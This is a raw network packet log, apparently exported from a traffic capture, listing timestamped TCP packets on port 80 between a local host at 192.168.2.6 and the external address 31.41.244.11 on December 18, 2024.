Dec 18, 2024 11:47:29.253604889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.253736973 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.253813028 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.254362106 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.254406929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.254419088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.254483938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.254483938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.255187035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.255362988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.255376101 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.255429029 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.255987883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.256038904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.256052017 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.256067991 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.256081104 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.256108046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.256758928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.256817102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.256829023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.256851912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.256851912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.256927013 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.258071899 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.258160114 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.258172989 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.258236885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.258244991 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.258289099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.258841038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.258866072 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.258877993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.258897066 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.258897066 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.258970976 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.259340048 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.259361029 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.259371996 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.259407043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.259429932 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.259937048 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.260019064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.260030985 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.260073900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.260123968 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.260802031 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.260812998 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.260824919 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.260871887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.260871887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.261702061 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.261894941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.261905909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.261918068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.261965990 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.261965990 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.262655973 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.262666941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.262681007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.262733936 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.262733936 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.263462067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.263473988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.263485909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.263504028 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.263535976 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.264250040 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.264261961 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.264275074 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.264309883 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.264347076 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.265156984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.265168905 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.265186071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.265203953 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.265455961 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.265925884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.265938044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.265949965 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.265995026 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.265995026 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.266710043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.266767979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.266778946 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.266782045 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.266819954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.266819954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.267519951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.267533064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.267544985 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.267571926 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.267596006 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.268276930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.268287897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.268301010 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.268331051 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.268604040 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.269085884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.269097090 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.269109964 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.269149065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.269854069 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.269872904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.269885063 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.269916058 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.270663023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.270673990 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.270685911 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.270721912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.270721912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.271383047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.271847010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.434631109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.434648037 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.434662104 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.434689999 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.434726000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.434993029 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.435017109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.435029984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.435034990 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.435050011 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.435065985 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.435825109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.435868025 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.435878038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.435889006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.435915947 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.435940981 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.436609983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.436652899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.436682940 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.436695099 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.436733007 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.437400103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.437439919 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.437443018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.437454939 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.437475920 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.437500000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.438303947 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.438316107 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.438353062 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.438368082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.438440084 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.438481092 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.439188004 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.439199924 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.439227104 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.439239025 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.439275026 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.439307928 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.440102100 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.440145016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.440157890 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.440191031 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.440222979 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.440759897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.440804005 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.440824032 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.440834999 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.440857887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.440874100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.441536903 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.441585064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.441585064 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.441596985 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.441631079 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.441660881 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.442291975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.442302942 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.442315102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.442337990 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.442365885 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.443063974 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.443084002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.443094969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.443123102 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.443145990 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.443948984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.443960905 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.444000959 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.444102049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.444166899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.444645882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.444665909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.444678068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.444693089 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.444704056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.444720030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.445513964 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.445525885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.445538044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.445553064 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.445570946 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.446295023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.446316957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.446329117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.446341038 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.446357012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.447115898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.447159052 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.447171926 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.447184086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.447206020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.447218895 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.448021889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.448035955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.448046923 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.448076963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.448101997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.448735952 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.448748112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.448760033 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.448780060 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.448798895 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.449438095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.449489117 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.449520111 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.449532986 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.449563980 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.450299978 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.450344086 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.450375080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.450387955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.450423956 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.451114893 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.451159000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.451159000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.451172113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.451195955 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.451208115 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.452008009 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.452024937 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.452037096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.452059984 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.452081919 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.452894926 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.452915907 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.452941895 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.452953100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.452969074 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.452980995 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.453016043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.453855038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.453869104 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.453881979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.453900099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.453917980 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.454511881 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.454549074 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.454567909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.454581022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.454603910 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.454621077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.455388069 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.455401897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.455471992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.455499887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.455513000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.456226110 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.456238031 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.456252098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.456269026 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.456291914 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.456990957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.457003117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.457014084 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.457035065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.457070112 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.457851887 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.457864046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.457895041 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.457916975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.457954884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.458586931 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.458599091 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.458611012 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.458635092 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.458658934 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.459358931 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.459404945 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.459434986 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.459446907 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.459470034 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.459506989 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.460127115 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.460167885 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.460170984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.460184097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.460199118 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.460216999 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.461164951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.461184978 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.461199045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.461220980 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.461220980 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.461235046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.461788893 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.461802006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.461831093 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.461836100 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.461846113 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.461870909 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.462605953 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.462677002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.625844002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.625859976 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.625871897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.625987053 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.626116991 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.626163960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.626174927 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.626220942 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.626816988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.626830101 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.626842022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.626868010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.626893997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.627616882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.627628088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.627640009 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.627665043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.627690077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.628478050 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.628489017 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.628500938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.628525019 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.628547907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.629172087 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.629195929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.629208088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.629220963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.629235029 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.630026102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.630038977 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.630070925 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.630091906 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.630170107 CET	80	49837	31.41.244.11	192.168.2.6
